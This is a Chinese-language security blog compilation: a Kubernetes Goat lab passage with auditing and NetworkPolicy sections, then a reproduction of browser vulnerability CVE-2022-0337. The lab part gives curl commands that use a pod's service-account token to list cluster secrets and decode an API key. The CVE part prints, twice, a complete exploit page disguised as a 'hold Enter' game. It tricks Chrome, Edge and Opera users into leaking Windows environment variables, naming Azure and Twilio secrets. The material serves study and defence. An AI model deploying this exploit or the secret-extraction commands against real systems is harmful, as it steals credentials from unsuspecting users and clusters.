读取 pods namespace 并将其设置为变量。namespace应该是 big-monolith,如果它是default,你需要将 Kubernetes-goat 更新到最新版本(https://github.com/madhuakula/kubernetes-goat/commit/d068966ae481df55caed818c7cfc14867c1e42a1)
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
指定读取ServiceAccount持有者令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
指定在cURL请求查询时要使用的证书路径
export CACERT=${SERVICEACCOUNT}/ca.crt
然后就可以使用令牌和构造的查询来访问 Kubernetes API了
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
查询default命名空间中的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
查询特定命名空间的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
查询特定命名空间中的pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
因为 Kubernetes 本身是利用 API 服务来创建、删除 pod 等操作的,所以你可以尝试并利用所有可能的 Kubernetes 操作。
获取 k8svaultapikey
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
解密看看:
echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d
0x17 利用KubeAudit 审计 Kubernetes 集群
场景描述
本场景主要针对Kubernetes集群的各种不同安全问题进行审计。
要开始这个场景,你可以运行以下命令启动一个具有集群管理员权限的hacker-container(tiller Service Account拥有集群管理员权限)
这一步可能需要先在kubernetes集群上为Tiller创建具有集群管理员权限的Service Account。
相关教程:https://cloud.tencent.com/developer/article/1559675
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
kubeaudit 是一个命令行工具和一个 Go 包,用于审计 Kubernetes 集群各种不同的安全问题,例如:
run as non-root //非root运行
use a read-only root filesystem //使用只读文件系统
drop scary capabilities, don't add new ones //丢弃高危 capabilities,不添加新的
don't run privileged //不要以特权身份运行
and more! //等更多
有关该项目的更多详细信息,请参考 https://github.com/Shopify/kubeaudit
运行 kubeaudit。 Kubeaudit会检测它是否在集群中的容器内运行。如果是这样,它将尝试审计该集群中的所有 Kubernetes 资源。
kubeaudit all
0x18 使用 Sysdig Falco 进行运行时安全监控和检测
场景描述
这个场景是为容器和Kubernetes资源部署运行时安全监控和检测。
要开始使用此方案,你需要使用helm v3进行部署
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco --set falco.jsonOutput=true falcosecurity/falco
云原生运行时安全项目Falco 是事实上的 Kubernetes 威胁检测引擎。 Falco 由 Sysdig 于 2016 年创建,是第一个作为孵化级项目加入 CNCF 的运行时安全项目。 Falco 可在运行时检测意外的应用程序行为并发出威胁警报。
Falco 通过以下方式使用系统调用来保护和监控系统:
Parsing the Linux system calls from the kernel at runtime //在运行时从内核解析 Linux 系统调用
Asserting the stream against a powerful rules engine //强大的规则引擎断言流
Alerting when a rule is violated //在违反规则时发出警报
Falco附带了一组默认规则,用于检查内核的异常行为,例如:
Privilege escalation using privileged containers //使用特权容器提权
Namespace changes using tools like setns //使用 setns 等工具更改命名空间
Read/Writes to well-known directories such as /etc, /usr/bin, /usr/sbin, etc //对场景目录的读/写操作,如/etc、/usr/bin、/usr/sbin等
Creating symlinks //创建符号链接
Ownership and Mode changes //所有权和模式更改
Unexpected network connections or socket mutations //意外的网络连接或套接字突变
Spawned processes using execve //使用execve派生的进程
Executing shell binaries such as sh, bash, csh, zsh, etc //执行 shell 二进制文件,例如 sh、bash、csh、zsh 等
Executing SSH binaries such as ssh, scp, sftp, etc //执行 SSH 二进制文件,例如 ssh、scp、sftp 等
Mutating Linux coreutils executables //异常的Linux核心实用程序可执行文件
Mutating login binaries //异常的登录二进制文件
Mutating shadowutil or passwd executables such as shadowconfig, pwck, chpasswd, getpasswd, change, useradd, etc, and others. // 异常的shadowutil 或 passwd 可执行文件,例如 shadowconfig、pwck、chpasswd、getpasswd、change、useradd 等。
获取 falco 部署的更多详细信息
手动从Falco系统获取日志
kubectl logs -f -l app=falco
现在,让我们启动一个hacker container并读取敏感文件,看看Falco是否能检测到
0x19 使用Popeye发现Kubernetes集群潜在问题
场景描述
此场景主要是通过实时扫描Kubernetes集群来审核Kubernetes集群,并上报部署的资源和配置的潜在问题。
要开始这个场景,运行以下命令启用具有集群管理员权限的hacker container
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
Popeye 是一种实用程序,可扫描实时 Kubernetes 集群并报告已部署资源和配置的潜在问题。它根据部署的内容为集群消毒。通过扫描集群,它可以检测错误配置并帮助你确保最佳实践到位,从而防止未来出现问题。Popeye 是一个只读工具,它不会以任何方式改变任何 Kubernetes 资源。
以下是一些检查和扫描列表:
Node //节点
Namespace
Pod
Service
ServiceAccount
Secrets
ConfigMap
Deployment
StatefulSet
DaemonSet
PersistentVolume
PersistentVolumeClaim
HorizontalPodAutoscaler
PodDisruptionBudget
ClusterRole
ClusterRoleBinding
Role
RoleBinding
Ingress
NetworkPolicy
PodSecurityPolicy
有关该项目的更多详细信息,请参考 https://github.com/derailed/popeye
使用cluster token权限在集群中运行运行popeye
可以看到,集群健康评分为83 B
0x20 使用 NSP 保护网络边界
场景描述
这个场景是为Kubernetes资源部署一个简单的网络安全策略来创建安全边界。
要开始此场景,请确保必须使用支持NetworkPolicy的网络解决方案。
场景提供来自:https://github.com/ahmetb/kubernetes-network-policy-recipes
如果你希望在IP 地址或端口层面(OSI第 3 层或第 4 层)控制网络流量, 则你可以考虑为集群中特定应用使用 Kubernetes 网络策略(NetworkPolicy)。
NetworkPolicy 是一种以应用为中心的结构,允许你设置如何允许 Pod 与网络上的各类网络“实体” (我们这里使用实体以避免过度使用诸如“端点”和“服务”这类常用术语, 这些术语在 Kubernetes 中有特定含义)通信。
Pod 可以通信的 Pod 是通过如下三个标识符的组合来辩识的:
1、其他被允许的 Pods(例外:Pod 无法阻塞对自身的访问)
2、被允许的名字空间
3、IP 组块(例外:与 Pod 运行所在的节点的通信总是被允许的, 无论 Pod 或节点的 IP 地址)
在定义基于 Pod 或namespace的 NetworkPolicy 时,你可以使用 selector 来设定哪些流量可以进入或离开与该selector匹配的 Pod。
同时,当基于 IP的 NetworkPolicy 被创建时,我们基于 IP 组块(CIDR 范围) 来定义策略。
创建一个拒绝所有去往应用流量的策略
此 NetworkPolicy 会将所有去往被Pod Selectors 选择的应用程序pod流量丢弃。
使用案例:
这其实很常见:如果要使用白名单网络策略,首先需要使用此策略将流量列入黑名单
你想运行一个 Pod 并希望阻止任何其他 Pod 与其通信
你暂时希望将发往某个服务的流量与其他Pod隔离
示例
运行一个labels为app=web的Nginx pod,并暴露80端口
kubectl run --image=nginx web --labels app=web --expose --port 80
运行一个临时 Pod 并向 Web Service 发送请求
kubectl run --rm -i -t --image=alpine test-$RANDOM -- sh
可以看到能够正常访问,现在我们对集群应用下列网络策略
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: web-deny-all
spec:
podSelector:
matchLabels:
app: web
ingress: []
再次尝试请求Web Service
流量被丢弃了
Kuberneters Goat 提供的在线环境中,使用的是flannel网络解决方案,是不支持NetworkPolicy的。可以使用Calico网络解决方案。
说明:
在上面的清单中,我们以带有 app=web 标签的 Pod 为目标来配置网络策略。此清单文件缺少 spec.ingress 字段。因此它不允许任何流量进入 Pod。
如果你创建另一个 NetworkPolicy 让某些 Pod 直接或间接访问此应用程序,则此 NetworkPolicy 将失效。
如果至少有一个 NetworkPolicy 的规则允许流量,则意味着流量将被路由到 Pod,而不管阻止流量的策略如何。
删除策略
kubectl -- delete -f web-deny-all.yaml
更多参考资料和资源可以在 https://github.com/ahmetb/kubernetes-network-policy-recipes 找到
Cilium 编辑器 - 网络策略编辑器
Cilium编辑器一个教你如何创建网络策略的工具/框架。它解释了基本的网络策略概念,并指导你完成实现所需的最低权限安全和零信任概念所需的步骤。
在线访问 Cilium Editorhttps://editor.cilium.io/
参考资料:
https://kubernetes.io/docs/concepts/services-networking/network-policies/https://github.com/ahmetb/kubernetes-network-policy-recipeshttps://editor.cilium.io/
0x21 Kubernetes Goat的安全扫描报告
使用其他开源安全工具扫描Kubernetes Goat基础设施生成的安全扫描报告
Checkov:https://github.com/bridgecrewio/checkov
git clone git@github.com:madhuakula/kubernetes-goat.git
checkov -d kubernetes-goat/
扫描报告了232个问题:
KICS:https://kics.io/ KICS 扫描报告了 265 个问题和Kubernetes Goat中的 Docker 配置问题。
详细报告:https://madhuakula.com/kubernetes-goat/reports/kics-output.html
有意思的CVE-2022-0337复现
前言
前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美刀,比较好奇的是价值10000美刀的漏洞是什么样子的,漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。
影响版本
Google Chrome版本范围92.x-96.x
Microsoft Edge版本范围92.x-96.x
Opera版本范围78.x-81.x
复现
在存在漏洞的浏览器F12的控制台输入payload
let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;
但是必须要访问一个存在的html,百度首页测试
保存后控制台输出环境变量username的值
漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!
EXP
<html>
<head>
<title>
CVE-2022-0337 System environment variables leak on Google Chrome,
Microsoft Edge and Opera
</title>
<meta charset="UTF-8" />
</head>
<style>
body {
background: rgba(212,0,0,0.2);
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
}
h1,
h2,
h3 {
-webkit-text-stroke: 1px #00000050;
}
h1 {
color: #d96c06;
font-size: 36px;
}
h2 {
color: #1ebe8e;
font-size: 46px;
}
h3 {
color: #c6f91f;
font-size: 18px;
}
h2 span {
color: #cf4848;
font-size: 70px;
}
#author {
font-size: 28px;
}
span {
font-weight: 100;
}
</style>
<body>
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
<!-- div used to click to open Save As dialog -->
<div id="pixel"></div>
<h3 id="userInfo"></h3>
<h1>Super Simple Game<span>******</span></h1>
<h2><span>**HOLD ENTER</span> for 2 seconds</h2>
<h3 id="gameover"></h3>
</body>
</html>
这里选择版本
92.0.4515.159(正式版本)
刷新页面后长按Enter键两秒即可触发payload
分析
分一下payload前面的49行之前内容是定义了html的样式,核心内容在
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义
在63和64行定义了长按Enter键相当于触发script标签
随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f
suggestedName格式为定义的%{x}%@filename即
suggestedName=%{x}%@随机数.f
继续向下看
上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。
所以最终在执行payload的时候保存的文件名为
%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f
那么接下来需要思考两个问题
泄露的漏洞触发的原理又在哪里
能做什么呢?
1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。
2.因为windows中能够利用环境变量有很多,例如
AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY
结语
大佬毕竟是大佬呀!!!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

